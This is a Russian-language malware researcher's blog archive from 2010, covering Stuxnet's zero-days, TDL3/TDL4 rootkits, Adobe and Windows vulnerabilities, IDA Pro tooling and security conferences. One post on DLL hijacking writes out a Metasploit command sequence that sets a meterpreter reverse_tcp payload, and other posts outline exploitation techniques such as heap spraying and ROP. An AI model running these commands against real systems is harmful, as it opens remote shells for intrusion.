среда, 15 декабря 2010 г.

Дождались или уязвимость в Task Scheduler закрыта

Не прошло и нескольких месяцев, как вчера вышел MS10-092, закрывающий последний 0-day, эксплуатирующийся червем Stuxnet для повышения привилегий до уровня системы на осях Vista/Win7.
Что интересно эта уязвимость стала эксплуатироваться руткитом TDL4 с конца ноября для инсталляции на системы Vista/Win7.



Где-то в конце ноября появился публичный эксплойт и примерно через несколько дней мы обнаружили первые экземпляры TDL4, эксплуатирующие эту уязвимость. Возможно эти события никак и не взаимосвязаны, т.к. в CANVAS рабочий сплойт попал на много раньше, да и в принципе уже многие его расковыряли сами в тельце Stuxnet. Кстати уязвимость эксплуатируется достаточно просто и код получается универсальным и для x86 систем, и для x64.

Что стало наиболее приятным для меня во всей этой эпопее с сотрудничеством с MS, нас таки отметили в списке с благодарностями:


Но в принципе, иначе и быть не могло, т.к. мы единственные кто предоставили рабочий PoC код еще в сентябре, а не только описание уязвимости.

MS10-92 - это не единственная уязвимость закрытая вчера и с полном списком можно ознакомиться здесь.

воскресенье, 28 ноября 2010 г.

Два 0-day, о которых пока молчит MS

На прошлой неделе был опубликован PoC на интересный 0-day, суть которого заключается в недостаточном контроле входных параметров функции RtlQueryRegistryValues() в итоге получаем классическое переполнение стека в ядре и права SYSTEM у нас в руках. Эксплуатировать уязвимость достаточно просто,т.к. в ядре нет различных препятствий мешающих эксплуатации, как в пользовательском режиме. Не буду тут подробно описывать эту уязвимость, так как все уже есть.

Второй интересной новостью стало появление публичного PoC для уязвимости в Task Scheduler, которая была обнаружена в коде червя Stuxnet и известна уже как минимум с конца лета (с этого же времени MS тоже в курсе).

Обе эти уязвимости прекрасно работают на большинстве распространенных версий винды и позволяют повысить локальные привилегии до SYSTEM в обход UAC. Но кроме бюллетеней CERT, пока нет официальных бюллетеней со стороны MS, в прочем и дат по их закрытию тоже. А злоумышленники тем временем имеют вполне себе неплохие инструменты для "тихой" инсталляции всякого зверья.

Альтернативный GUI для Metasploit в стиле Canvas

Наткнулся сегодня на интересный проект Armitage, целью которого является замена оригинального GUI для Metasploit. На первый взляд мне все понравилось, правда заметно, что при реализации Armitage позаимствован ряд идей из Immunity Canvas. Посмотрим, как дальше будет развиваться проект, но для старта вполне плохо.

среда, 24 ноября 2010 г.

Впечатления от поездки на AVAR'2010

Началось мое путешествие вечером 14 ноября, мне предстояло совершить перелет с двумя пересадками и в общей сложности это должно было занять около 26 часов. Летел я арабскими авиалиниями Qatar, которые произвели на меня очень приятное впечатление. Выглядел мой путь следующим образом: Домодедово->Доха->Сингапур->Денпасар.

суббота, 13 ноября 2010 г.

SCADA и Stuxnet

Не так давно я уже выкладывал ролик с демонстрацией того, что делает Stuxnet при модификациях вносимых им в параметры SCADA системы. Правда он был в плохом качестве и был заснят одним из посетителей VB'2010 на мобильный телефон. Разобрать, что там происходит на самом деле было достаточно проблематично и вот наконец авторы того доклада решили обновить свою видео демонстрацию и на этот раз уже с преферансом и блудницами :)

пятница, 12 ноября 2010 г.

AVAR'2010

На следующей недели состоится довольно любопытное мероприятие AVAR'2010 (Association of anti Virus Asia Researchers). В этот раз конференция состоится в интересном месте, а точнее на Бали и слетать туда само по себе приятно, а тут еще и можно дополнительную пользу извлечь от поездки в виде интересных докладов.


Программа довольно насыщена, в общем я в предвкушении мероприятия. Ждите отчет а ближайшее время ;)

среда, 10 ноября 2010 г.

SpyEye все больше привлекает внимания

Где-то около недели назад была опубликована интересная статистика по активности троянца SpyEye, эти материалы были опубликованы в блоге компании Damballa. Интересно, что пока лидерами по количеству активных админок являются, Украина и Чехия.


Сейчас SpyEye набирает все большую популярность, как crimeware в и определенных кругах у него есть все шансы окончательно добить Зевса, который пока еще не хочет сдаваться. С точки зрения технологий SpyEye опережает Зевса, хотя во многом функционал у двух этих семейств повторяется. Кстати не так давно начал сою работу SpyEye Tracker (пока не очень много отслеживаемых C&C), который во многом повторяет ZeuS Tracker, но авторы обещаю интересные нововведения. 

среда, 3 ноября 2010 г.

Смарт-карты не панацея для ДБО

Совместно с Group-IB делали один ресеч и в процессе были получены интересные результаты. Модификация Zbot полученная в процессе криминалистической экспертизы оказалась достаточно интересной, так как позволяла злоумышленнику делать удаленно запросы к смарт-карте.


Подробности в нашем корпоративном блоге ;)

Stuxnet under the microscope (revision 1.2)

Сегодня обновили наше исследование "Stuxnet under the microscope" до версии 1.2, внесли немного косметических правок. Но самое главное добавили описание последней 0-day уязвимости, которая пока не была озвучена подробно, речь идет о повышении привилегий через Task Scheduler. В нашем отчете мы подробно рассмотрели то, как червь Stuxnet эксплуатирует эту уязвимость для повышения привилегий под Vista/Win7. Все использованные вектора для атаки червем Stuxnet выглядят следующем образом:

вторник, 2 ноября 2010 г.

Опыт заказа книг с amazon

На прошлой неделе я решил попробовать заказать твердую копию одной книжицы с amazon, ибо по тем ценам, по которым предлагают англоязычную литературу интернет-магазины рунета, ну просто не в какие ворота. Недолго думая я посмотрел на цену вместе с доставкой и обещанные сроки в 5 дней, решил таки рискнуть. В среднем книжка с доставкой в  msk обходится менее двух тысяч рублей, что вполне приемлемо для такой покупки с учетом меньшего количество опечаток и идиотизмов переводчиков. К моему удивлению все было доставлено в срок, причем можно отслеживать перемещение своей посылки на сайте amazon:


С учетом полученного опыта теперь буду заказывать книжки исключительно таким образом, дабы не напрягать мои забугорных коллег.

среда, 27 октября 2010 г.

Malware Analyst's Cookbook

Интересная книжка появилась на прилавке амазона.

пятница, 22 октября 2010 г.

Вчера довелось прочесть лекцию в МГУ

Вчера прочитал лекцию в стенах ВМиК МГУ в рамках цикла семинаров "Технологии разработки и анализа программ". Хотя я изначально я предупреждал организаторов, что тема моего доклада будет отличаться от тематики семинара и в основном я хотел бы поговорить о целенаправленных атаках на примере червя Stuxnet, проблемах реверсинга больших программ и о возможных сценариях развития кибервойн, но их это не остановило. На мой взгляд получилось интересно и пока меня на втором часу лекции не прервали организаторы :), я никак не мог остановится, настолько у меня накопилось много информации и мыслей по этой теме. А прервать им меня пришлось, так как семинар состоит из двух частей, первая это доклад, а вторая собственно дискуссионная часть.


вторник, 19 октября 2010 г.

По количеству инцидентов Java затмила Adobe

Не так давно в нашей статистике я указывал на явный тренд увеличения числа инцидентов с эксплойтами для платформы Java. Сегодня MS опубликовала пост по теме, в котором делает акцент на этой же тенденции.


Все эксплуатируемые уязвимости мягко говоря с душком:
CVE-2008-5353
CVE-2009-3867
CVE-2010-0094

WTF!

Статистика активности Java-уязвимостей подтверждается и по ту сторону баррикад (скриншот позаимствован у Кербса).

вторник, 12 октября 2010 г.

Вышла наша статейка в VB magazine за октябрь

В начале лета мы проводили подробное исследование последних, на тот момент, модификаций руткита TDL3. В тоже самое время мы отправили статью в VB magazine рассказывающую немного подробнее о возможностях внутренней файловой системы этого руткита. И вот наконец она опубликована в октябрьском номере "Rooting about in TDSS".
Интерес представляет не только содержимое статьи, которое я смогу опубликовать в публичный доступ только по истечении 3 месяцев:), но и утилита tfd.exe. Тулза свободно распространяется и предназначена для дампа содержимого файловой системы TDL3 для быстрого получения информации о боте.

суббота, 2 октября 2010 г.

Обновление IDA Pro до версии 6.0

Вчера тихо и незаметно вышла обновленная версия наиболее часто используемой мной тулзы IDA Pro до версии 6.0. Самое большое нововведение этой версии заключается в том, что теперь мы имеем единый графический интерфейс на QT для Win/Mac/Linux платформ. И выглядит он даже удобнее прежнего + плюс еще была замечена более быстрая загрузка и скорость работы. Вот так оно выглядит на моем маке:



пятница, 1 октября 2010 г.

Another report about Stuxnet

Сегодня Symantec наконец выпустили свой репорт о Stuxnet, не смотря на то, что мы их опередили у них раскрыта SCADA составляющая гораздо подробнее (во всем остальном наш отчет лучше :)). Поэтому всем интересующимся рекомендую к прочтению "W32.Stuxnet Dossier".
Ну, а на сладкое демонстрация последствий заражения PLC контроллера с VB'2010 ;)

среда, 29 сентября 2010 г.

Unpatched 0-day's, Stuxnet and M$

Не для какого уже давно не секрет,что как только появилась информация об использовании червем Stuxnet не закрытых уязвимостей, множество исследователей по разные стороны баррикад стали их искать. Кому-то удалось их найти, а кому-то нет, но не понятно, когда они будут закрыты. Обе уязвимости используются червем для повышения локальных привилегий в системе при своей инсталляции в систему.


понедельник, 27 сентября 2010 г.

Засветился на НТВ сегодня немножко :)

Не успел прийти сегодня на работу, как понабежали журналисты и начали допрашивать насчет червя Stuxnet. Говорят наш отчет даже читали :)

пятница, 24 сентября 2010 г.

Stuxnet Under the Microscope

Вчера вечером мы закончили подготовку достаточно серьезного исследования по анализу червя Win32/Stuxnet. Самым сложным было подготовить сам отчет, т.к. он постоянно разрастался, потому как хотелось описать все, но описать все, таки не получилось. Некоторые подробности внедрения вредоносного функционала в SCADA остались за кадром (ну нету у нас реактора для тестов :)). Также мы не стали публиковать описание еще двух 0-day уязвимостей, которые пока до сих пор не закрыты и MS попросила этого не делать. Одна из них находится в win32k.sys и служит для повышения локальных привилегий в процессе инсталляции на операционные системы Win2000/WinXP. А вторая поинтереснее, т.к. позволяет повысить привилегии на Vista/Win7, через уязвимость в Task Scheduler. Пока про эти уязвимости больше ничего не скажу, всему свое время ;)
Искренне считаю, что мы провели полезное исследование и смогли правильно преподнести его результаты, поэтому крайне рекомендую вам с ним ознакомиться.

вторник, 21 сентября 2010 г.

Twitpocalypsis NOW!

Много радости и веселья сегодня доставил Twitter пользователям веб-интерфейса. Дело в том, что свеженайденная XSS-уязвимость породила кучу различных веселых твитов содержащих JavaScript, который выполнялся при их просмотре :)
Например, вот такое вот безобидное на первый взгляд сообщение, может привести к интересным последствиям.

понедельник, 13 сентября 2010 г.

Опять Adobe накосячил (CVE-2010-2883)

На прошлой неделе был обнародован очередной 0-day для Adobe Reader (CVE-2010-2883). На этот раз повинна оказалась CoolType.dll, которая отвечает за парсинг True Type Font. Уязвимость проявляется при обработке шрифта с неправильной SING таблицей. В функции обработки есть вызов небезопасной синшной функции strcat(), которая при определенных условиях приводит к переполнению на стеке.

среда, 1 сентября 2010 г.

TDL поработил x64

Сегодня написал обзорную статью о новом витке развития нашумевшего руткита TDL3, который на долго поселился в головах исследователей из антивирусных компаний. TDL3 считается одним из самых передовых творений разработчиков руткитов на сегодняшний день. О нем писали очень много, одни из последних публикаций это отчет о нашем исследовании этого руткита и статья "TDSS: полное раскрытие" от eSage Lab.
Интересную статистику (по распространению всего семейства) по сабжу показала MS:


Как мы видим присутствует явное доминирование платформы WinXP и в новой версии авторы видимо решили исправить такое положение дел. Кол-во инсталляций Win7 x64 постоянно растет и теперь есть механизмы, позволяющие инсталлировать руткиты и на эту платформу.  
Концепт (Disable PatchGuard & Driver signature enforcement) механизма обхода проверки подписи в x64 появился еще в начале года в публичном доступе, но авторами помимо предложенного в нем механизма используется еще вызов недокументированной функции IoCreateDriver(), которая собственно и позволяет выполнить вредоносный драйвер (про это есть немного тут). 

вторник, 31 августа 2010 г.

Chaos Constructions'2010 (Outro)

Провел все выходные на фестивале Chaos Constructions'2010, собственно сабж меня особенно не чем не впечатлил. Хотя в этом году совместными усилиями большого количества людей был подготовлен лучший HackQuest за всю историю и был некоторый перевес в сторону ИБ на семинарах. Но, как мне кажется часть касающуюся безопасности пора выделять в отдельное мероприятие и развивать его. Практическими все доклады делались ведущими специалистами из различных областей ИБ, которые понимали о чем говорят. Так как к подготовке HackQuest подошли очень серьезно, народ не прошел больше половины заданий. Но в ближайшее время он будет выложен в общий доступ и каждый желающий сможет попробовать свои силы.
Самой интересной частью был вечер субботы, когда удалось собрать весь интересный народ в одном кабаке и со всеми пообщаться :)

четверг, 26 августа 2010 г.

Змеиный костыль PyHiew

Неожиданно несколько дней назад один из нынешних разработчиков IDA Pro - Elias Bachaalany, опубликовал интересный плагинчик для Hiew. PyHiew это полноценный HEM модуль, который позволяет вам автоматизировать различную рутину на python. Плагин распространяется с сырками и лежит здесь. Примеры работы с ним можно посмотреть непосредственно в блоге у Elias.


import hiew
hiew.Message(“Hi”, “Hello world!”)

вторник, 24 августа 2010 г.

0-day by design (Security Advisory (2269637))

На прошлой неделе появилась информация о найденной новой концептуальной уязвимости позволяющий выполнить произвольную динамическую библиотеку, путем подмены ее легального экземпляра. Эта информация появилась от автора Metasploit HDmoore и он сразу приводил пример работы этой уязвимости с iTunes. Народ задергался и понял, что пахнет архитектурной брешью, правда все и так о ней знали уже хрен знает сколько времени и чего задергались все только сейчас непонятно (причем даже MS знал уже не один год об этом). Я в нашем посте на хабре достаточно подробно описал саму уязвимость и возможные пути решения проблемы, но некоторые мысли еще остались и для собственного бложика :)
В последнее время мы наблюдаем уже второй 0-day (первый, история с Lnk) с найденной архитектурной ошибкой, by design так сказать. По своей структуре обе эти уязвимости довольно похожи. Такого рода уязвимости закрываются значительно дольше, да и время жизни эксплуатации таких уязвимостей не сравнимо. Не говоря уже о том, что не нужно заморачиваться со всякими DEP и ASLR. А в данном конкретном случае уязвимыми являются достаточно большое количество приложений. Но вот действительно удивляет то, что MS сама не использует свои  best practices при разработке. Уже появился PoC для Word и PowerPoint. Ну, а generic exploit в составе Metasploit вообще шикарен. Пример эксплуатации:

msf use exploit/windows/browser/webdav_dll_hijacker
msf exploit(webdav_dll_hijacker) > set EXTENSIONS "txt"
msf exploit(webdav_dll_hijacker) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(webdav_dll_hijacker) > set LPORT 6666
msf exploit(webdav_dll_hijacker) > set LHOST
msf exploit(webdav_dll_hijacker) > exploit


P.S.: Как оказалось даже существуют научные работы ("Automatic Detection of Vulnerable Dynamic Component Loadings") по поиску решения этой проблемы.

вторник, 17 августа 2010 г.

Dr.Gadget спешит на помощь

Попался тут недавно на глаза довольно любопытный плагин для IDA, основной задачей которого является помощь в анализе и подготовки ROP-последовательностей.

Зовут это чудо Dr.Gadget и умеет он следующее:
- собственно загрузку ROP-последовательности в виде бинарного файла и ее редактирование (удобно при написании сплойтов).
- добавление элементов из загруженного в IDA файла (удобно для поиска и добавления rop gadgets)
- поиск последовательностей ассемблерных инструкций и добавление их

Плагин можно использовать как при статическом анализе, так и при динамическом, что собственно удобно при анализе эксплойтов использующих технику ROP.

Ну и на последок вот вам ссылка на достаточно большую коллекцию уже готовых rop gadgets от corelanc0d3r.

пятница, 13 августа 2010 г.

CrackME для СС'2010

Довелось поучаствовать в разработке одного из заданий на реверсинг для HackQuest на СС'2010.


В процессе прохождения задания можно получить больше двух ключей (очки по которым оценивается успешность участника), но больше я вам ничего не скажу :)

Chaos Constructions'2010



Традиционно в в конце августа проходит мероприятие под названием Chaos Constructions и в рамках него не менее традиционно проходит конкурс HackQuest. В прошлом году у меня лично сложилось не очень приятное впечатление от мероприятия в целом, но в этот раз орги взялись за ум подготовились более серьезно. В частности в подготовки конкурса HackQuest участвовало много разных людей и получилось достаточно много разноплановых заданий. На мой взгляд будет интересно приходите поучаствовать и пообщаться. Ну а если удастся продвинуться в прохождении HackQuest, тогда можно рассчитывать на различные материальные блага, например в виде таких вот футболок:


Помимо HackQuest уже запланировано много интересных семинаров по различным аспектам ИБ и не только.  Само мероприятие будет проходить в Санкт-Петербурге и запланировано на последние выходные августа (28-29). Приходите будет интересно!


среда, 21 июля 2010 г.

Новая багофича от MS (CVE-2010-2568) или LNKpokalipsis

Буквально недавно была обнаружена уязвимость в обработке LNK-файлов и их отображением. Но самой уязвимости уделяется мало внимания, в основном весь шум вокруг Win32/Stuxnet и использованных валидных сертификатов для подписи компонентов этого зловреда. А тем временем эта уязвимость уже появилась в публичном доступе. Сначала в виде PoC, а потом и в виде модуля для Metasploit. MS, как в прочем и обычно, пофиг на критичность этой уязвимости и она вероятнее всего выпустит патч не раньше 10 августа. А для WinXP SP2 патча вообще не будет, хотя как не странно на ней еще есть пользователи и их не так мало, как хотелось бы. Подтверждение тому распределение угрозы по оконным версиям от Symantec, где именно WinXP SP2 имеет большую долю зафиксированных инцидентов.  
В качестве векторов использования этой уязвимости могут быть не только USB-накопитили, но и сетевые ресурсы. Например, в Metasploit эксплуатация происходит через WebDAV. Работает уязвимость примерно так:



Речь идет не о банальном переполеннии или неразименованном указателе, все гораздо хуже, т.к. уязвимость by design так сказать (уязвимы все версии винды). Т.е. разработчики прохлопали ушами, что такой путь могут использовать злоумышленники для установки всякого вредоносного. Хотя может все гораздо хуже и это просто очередной бэкдор оставленный в системе по просьбе NSA? Боюсь правды мы не узнаем никогда. Давайте теперь поговорим непосредственно о технических деталях работы этой уязвимости.
CVE-2010-2568 – уязвимость находится в обработчике LNK-файлов, о точнее связана с процессом отображения Control Panel shortcuts, когда происходит их загрузка в память процессом Explorer.exe. Уязвимой являться библиотека shell32.dll в которой происходит некорректная обработка. Ниже приведенная схема иллюстрирует потоки данных между вызываемыми функциями в процессе работы эксплойта (подсмотренно здесь). Успешным выполнением эксплойта является загрузка сторонней динамической библиотеки при помощи WinAPI функции LoadLibraryW.
Собственно именно ниже приведенный код и заставляет выполниться вредоносную DLL, этот код находиться в функции _LoadCPLModule, которыя вызывается из CPL_LoadCPLModule.
В эксплойте в составе Metasploit для эксплуатации уязвимости генерируется URL следующего вида "{webdav}{exploit_base}\\{exploit_dll}", такой подход к эксплуатации этой уязвимости сильно расширяет границы ее использования за пределы USB-накопителей.

понедельник, 12 июля 2010 г.

Top-10 наиболее уязвимых вендоров ПО

Интересный отчет обнародовала Secunia, в котором приводится срез самых крупных вендоров ПО по числу найденных уязвимостей. Интересный факт, что в этом году по числу найденных уязвимостей лидирует компания Apple, которая пришла на смену прошлогоднему лидеру Oracle. По графику можно отследить явный тренд увеличения числа найденных уязвимостей, видимо с ростом популярности эта платформа привлекает к себе все больше внимания со стороны исследователей по всему миру.

Судя по графику у MS стагнация начиная с 2006 года, т.е. уязвимости находят регулярно и много. А вот Adobe, как ни странно находиться только на пятом месте.

IDA + Bochs: нафига оно надо?

Я как-то уже писал об эмуляторе x86emu для IDA, но сегодня я хочу рассказать о гораздо более мощном эмуляторе Bochs. Bochs представляет собой полный эмулятор системы, на базе которого вы можете загрузить любую ОС (если только нужное для загрузки этой ОС железо поддерживается эмулятором).
В эмуляторе есть встроенный отладчик, который позволяет отлаживать загрузку операционной системы еще на раннем этапе. Но самое интересное другое, а точнее то, что начиная с версии IDA Pro 5.4 появилась возможность подключаться к отладчику Bochs из стандартного интерфейса IDA. Работает эта связка достаточно быстро, в отличии, если вы попытаетесь загрузить винду под эмулятором и выполнить какие-то осмысленные действия. А том, как подключить отладчик Bochs из IDA уже есть хороший мануал, а я постараюсь рассказать собственно зачем это делать. На самом деле эту возможность почему то многие упускают из виду, хотя порой эта фича оказывается крайне полезной. Например, при отладке шелл-кода, обфусцированного кода или когда просто нужно быстро выполнить произвольный участок исполняемого файла. IDA поддерживает несколько режимов отладки в связке с Bochs:
- отладка ранней стадии загрузки (Disk Image), что позволяет отлаживать boot record
- отладка произвольного участка кода (IDB), позволяет выполнить на эмуляторе любой выделенный участок кода. Этот режим полезен при отладке шелл-кода и обфусцтрованных участков кода
- отладка исполняемого файла (PE), стандартный режим отладки
Отладка загрузочной записи бывает очень полезна при анализе зловредов, которые ее модифицируют (mebroot, gootkit ...).
Использование связки IDA + Bochs значительно эффективнее, нежели x86emu, т.к. здесь происходит эмуляция не выборочного набора вызовов API, а работы всей ОС целиком.

понедельник, 5 июля 2010 г.

Обновление IDA и Hex-Rays


Как-то неожиданно обновились на прошлой неделе сразу и IDA до версии 5.7, и Hex-Rays до версии 1.3 (еще обновился ARM Decompiler, но я его пока не использовал почти, только из любопытства немного покрутил). Hex-Rays, причем уже обновлялся относительно недавно до версии 1.2, где одним из главных нововведений была поддержка декомпиляции операций с плавающей точкой. Этот релиз больше похож на большой bugfix, где поправили много всяких недочетов и навели немного гламура на внешний вид декомпилированного листинга. Все гламурные рюшки версии 1.3 можно увидеть на сomparison Page. А changelog с багфиксами здесь.
Из важных нововведений для IDA, наконец-то сделали поддержку MMX/XMM регистров во строенном отладчике. Появилась возможность подгрузить отладочные символы и автоматически делать анализ кода для выбранного модуля в процессе отладки. Сильно обновился IDAPython до версии 1.4, там случился тоже большой багфикс и улучшалась скорость работы. А самое главное, теперь появилась нормальная дока по всем методам и классам поддерживаемым в IDAPython. Полный changelog здесь. Я уже давно перешел на использование IDAPython, ибо меньше времени и удобнее нежели IDC, думаю, что дальше развивать IDC нет смысла.
Еще интересно, что началось тестирование нового интерфейса написанного на QT и дающего возможность нормального GUI под все поддерживаемые платформы. Наконец-то у меня будет нормальная IDA на моем маке и без использования ВМ, а не это консольное убожество.
В этом году вообще чувствуется активная разработка и желание улучшить свои продукты со стороны разработчиков IDA, а ведь такими темпами и 6.0 не за горами. Интересно, когда они начнут нам анонсировать вкусности шестерки :)

четверг, 1 июля 2010 г.

CVE-2010-1885 в цифрах

Интересную аналитику выкатила MS сегодня у себя в блоге.
Предыстория такова, что 10 июня небезызвестный гуглоинженер Tavis Ormandy aka taviso обнародовал уязвимость в механизме проверки обращений (hcp://) к Microsoft Windows Help Centre. Собственно он не просто обнародовал уязвимость, но и открыл исходный код эксплойта. MS жаловалась на этого товарища, что он мало им дал времени для закрытия уязвимости и вообще зря затеял выкладывать такое на паблик, но обсуждать здесь сторону морали мне совсем не хочется.
Так вот MS сегодня обнародовала цифры по количеству зафиксированных ими атак с использованием этой уязвимости, и они получились очень забавные:

Так как уязвимость нацелена на пользователей Windows XP, то соответственно под ударом оказались по большей части регионы в которых процент пользователей этой операционки высокий. Мы на втором месте после Португалии, забавно :)
Интересно также посмотреть и на динамику роста количества атак с использованием этого сплойта:

Видно, что спустя уже несколько дней после публичного раскрытия уязвимости вместе с сорцами сплойта, начались целенаправленные атаки на эту уязвимость. Без публикации готового эксплойта, это временное окно немного больше, точнее процент числа атак растет не так быстро.

Update:
Финальная версия статистики от MS перед выпуском патча.

понедельник, 28 июня 2010 г.

Win32/Olmarik или исследование TDL3 в деталях

Мы тут на днях закончили подготовку материалов нашего исследования: "Руткит Win32/Olmarik: технологии работы и распространения". Расковыряли мы все достаточно глубоко и подробно, поэтому в отчете присутствует информация, которой раньше я не встречал на паблике (тем более на русском языке).

суббота, 19 июня 2010 г.

Adobe ≠ безопасность или "долгоиграющий" 0-day

На протяжении всего текущего года компания Adobe уже не раз нас радовала серьезными уязвимостями, которые влекли за собой возможность удаленного выполнения произвольного кода. В этот раз очередной "шедевр" (CVE-2010-1297) был связан с уязвимостью в Adobe Reader и некоторыми особенностями обработки встроенных в pdf флеш-роликов. Многие уязвимости в продуктах Adobe (CVE-2010-129 входит в их число) могут эксплуатироваться не только на платформе windows, но на многих других, на которые они официально подставляются. Другое дело, что провести успешную атаку эксплойтом на одних плотформах проще, а на других сложнее. Сама Adobe не спешит выпускать заплатку для этой уязвимости и она запланирована только на конец июня, получается, что пользователи продукции этой компании подвержены риску почти на протяжении целого месяца. На мой взгляд для столь массовых продуктов это просто не допустимо. Ну, а теперь давайте рассмотрим саму уязвимость.
Итак, уязвимость находиться в модуле authplay.dll, при обработке специально сформированного SWF. Корнем зла на этот раз оказался тег DoABC, использующийся при вставке swf в pdf-файлы. Во вредоносном SWF-файле заменен всего лишь один опкод, но именно он и приводит к ошибке. Оригинальный байт-код 0x66 (GetProperty) заменен на 0x40 (newfunction).

Судя по всему уязвимость была найдена с применением методов фаззинга файловых форматов.
Но выполнению SWF предшествует heap-spraying, используется для обхода DEP.



В итоге мы получаем ret2lib в BIB.DLL, после чего начинается выполнение шелл-кода. Подобная техника обхода DEP была использована в нашумевшей атаке codname: Aurora. Сейчас она приминяется очень часто в различных эксплойтах.

Для того чтобы попасть в библиотеку BIB.dll используются техники return-oriented programming (ROP), недостаток этого метода в достаточно длительном времени работы. Например, публичный эксплойт на CVE-2010-1297, опубликованный в рамках Metasploit. Оказался очень медленным и нестабильным в работе.
На днях была опубликована программа BH'2010 USA та, что проводиться в Вегасе и на ней было замечено достаточно большое количество докладов посвященных ROP. Конец лета будет интересным :)

Напоследок небольшая демка, которую я записал для корпоративного блога, но мне она нравится и пожалуй продублирую ее здесь тоже :) На ней отчетливо видно, как не быстро отрабатывает ROP shellcode (из Metasploit'а работает как минимум в двое медленее). В качестве сандтрека была взята заглавная тема к фильму Pi.

Материал по теме:
Подробное исследование от Zynamics
Исследование от Symantec
Исследование от Websense

суббота, 29 мая 2010 г.

CARO'2010: Итоги

Конференция в этом году была посвящена "Большим числам" и лишь немногие доклады не попадали под эту тему. Еще интересной особенностью этой конференции является то, что не все доклады рассчитаны на широкую огласку и их презентации не будут доступны для скачивания. Таких докладов было немного и некоторые из них не содержали ничего такого, что нельзя было разгласить, но авторы решили перестраховаться. К примеру, один из таких докладов был «Anatomy of a Targeted Attack with Global consequences» , где на примере нашумевшей атаки Aurora, рассказали о возможных целенаправленных атаках. В принципе ничего нового я из доклада для себя не узнал, но презентация была хорошая, вся информация по этой атаки была хорошо структурирована.
Хорошая презентация была «Virtual Machine Protection Technology and AV Industry»но обфусцированный китайский-английский воспринимался очень сложно. Докладчик поднял вопрос о проблемах анализа виртуализованного кода и возможных подходах к решению этой проблемы.
Докладчик из G-Data рассказал о системе MonkeyWrench «Detecting malicious web pages with MonkeyWrench» для обнаружения вредоносной активности на веб-страницах. Планы у них грандиозные и они даже готовы сотрудничать и обмениваться коллекциями. Система интересная, но пока Wepawet круче. Песочница MonkeyWrench основана на принципе эмуляции работы различных браузерных платформ. В ней так же реализованы некоторые эвристические подходы к распознаванию shellcode-последовательностей.
Наверное, больше всех мне понравился доклад “Indexing Large Volumes of Binary Content for Fast Search”, речь там шла о реализации системы быстрого поиска последовательностей в бинарных файлах (PE, ELF …). Сам докладчик очень живенько рассказывал о своей системе, но кроме слов демонстрировал полученные результаты на реальной системе.
Все остальные доклады были тоже интересные, но почему –то больше всего запомнились именно вышеописанные.

Организаторами конференции этого года выступила финская антивирусная компания F-Secure и хочется отдельно поблагодарить Mikko Hyppönen за то, что он приложил много усилий, чтобы от конференции остались только положительные впечатления.

P.S.: Лишь в первый день была хорошая погода и удалось немного по фотографировать достопримечательности Хельсинки.

пятница, 28 мая 2010 г.

CARO'2010: Day2

Заключительной день конференции был менее насыщенным. Хотя достойные доклады тоже были:
- "Detecting malicious web pages with MonkeyWrench"
- "Using Value Set Analysis for Classification of metamorphic Malware Samples"
В этот день ко мне доматались корейцы из компании AhLab, которые всячески пытались от меня получить информацию о внутренних тулзах :)

среда, 26 мая 2010 г.

CARO'2010: Day1

Собственно сегодня с 9:00 уже начала свою работу конференция CARO'2010. Тема этой конференции "Большие числа". Речь идет о постоянном росте кол-ва вредоносных объектов, увлечения числа сигнатур и собственно размера самих антивирусных баз. Именно об этом сегодня много говорили, да и пожалуй завтра тоже продолжат :). Интересно, что самое большое число докладчиков на конференции представляют компанию Microsoft. А еще более интересно то, что доклады у них очень даже заслуживающие внимания. Частично презентации уже выложили здесь.

Пока на этом все, подробнее о докладах напишу в итоговом посте :)

понедельник, 24 мая 2010 г.

CARO'2010


Завтра выдвигаюсь на конференцию CARO'2010. В этом году она проходит в Хельсинки и организаторами выступают F-Secure. Достаточно много интересных докладов в программе, по итогам обязательно отпишу и расскажу как оно вообще было.

вторник, 4 мая 2010 г.

Статистика распространенности различных версий TDSS

Недавно в сети появился интересный отчет от MS о распространенности различных версий TDSS. Распространенность по версиям очевидна, самые популярные экземпляры относятся к последними модификациям этого зловреда.

Достаточное большое распространение имеют дроперы устанавливающие этого руткита в систему. Интересные данные по обнаруженным инцидентам на разных ОС семейства MS Windows:

По количеству инцидентов по прежнему лидирует платформа WinXP, что в принципе очевидно. Причем среди этих инцидентов не малая доля приходится на пользователей XP SP2, по всей видимости это пользователи пиратских версий, иначе нельзя объяснить столь длительное игнорирование напоминаний об обновлении. Ну разве, что это все пользователи Soft-Ice :)
Если говорить о региональной активности, то среди стран лидирует США, причем с громадным отрывом от остальных.

Это можно объяснить наибольшей популярностью антивирусных продуктов от MS в этом регионе, хотя в целом активность этого руткита в США очень велика.

Update: Опубликован обновленный вариант этой статистики за май. В объемах сильно подросла последняя модификация, а вот распространенность более старых версий, как и предполагалось, стремительно падает.

пятница, 23 апреля 2010 г.

РИФ+КИБ'2010


Вчера мне довелось выступать на секции "Киберпреступность в сети Интернет. Практический опыт борьбы и расследований" на конференции РИФ+КИБ'2010. Доклад представлял собой несколько переработанную версию доклада, который я делал на Рускрипто'2010. Целью было донести до слушателей методы проведения исследования вредоносного кода и какие дополнительные улики для расследования можно при этом извлечь. Но к сожалению аудитория по большей части была не техническая и с восприятия некоторых деталей моего доклада возникли сложности, пришлось все объяснять на пальцах. За секцию проголосовало достаточно много народу, но пришло гораздо меньше, что тоже несколько расстроило. Наверное сказались утренние часы проведения самой секции и проснулись к этому часу не многие. В целом получилось интересно и я надеюсь в следующем году нас поставят на более поздний час :)

вторник, 6 апреля 2010 г.

РусКрипто'2010 (итоги)

Видео с моим докладом:
 

CTF удался на славу (потратил кучу времени на то, чтобы смонтировать что-то презентабельное :) ):


Процесс награждения победителей CTF выглядел забавно:
 

Остальные доклады, которые удалось заснять положил здесь

пятница, 26 марта 2010 г.

Совместный реверсинг

Сегодня появилась интересная публикация в блоге компании Zynamics на тему коллективного реверсинга. Вообще идея коллективного подхода схожего с системой контроля версий для программистов, только для реверсеров использующих IDA, витает уже давно. К примеру на одном из последних Defcon'ов был доклад по схожей тематике и даже представлен плагин CollabREate для IDA.
Но в Zynamics задумали нечто более глобальное, они хотят реализовать нечто вроде открытой базы знаний для всех. Больше всего это походит на идеологию проекта github. Для начала использования этого сервиса вам нужно установить себе плагин BinCrowd для IDA и зарегистрироваться на bincrowd.zynamics.com .

четверг, 25 марта 2010 г.

РусКрипто'2010

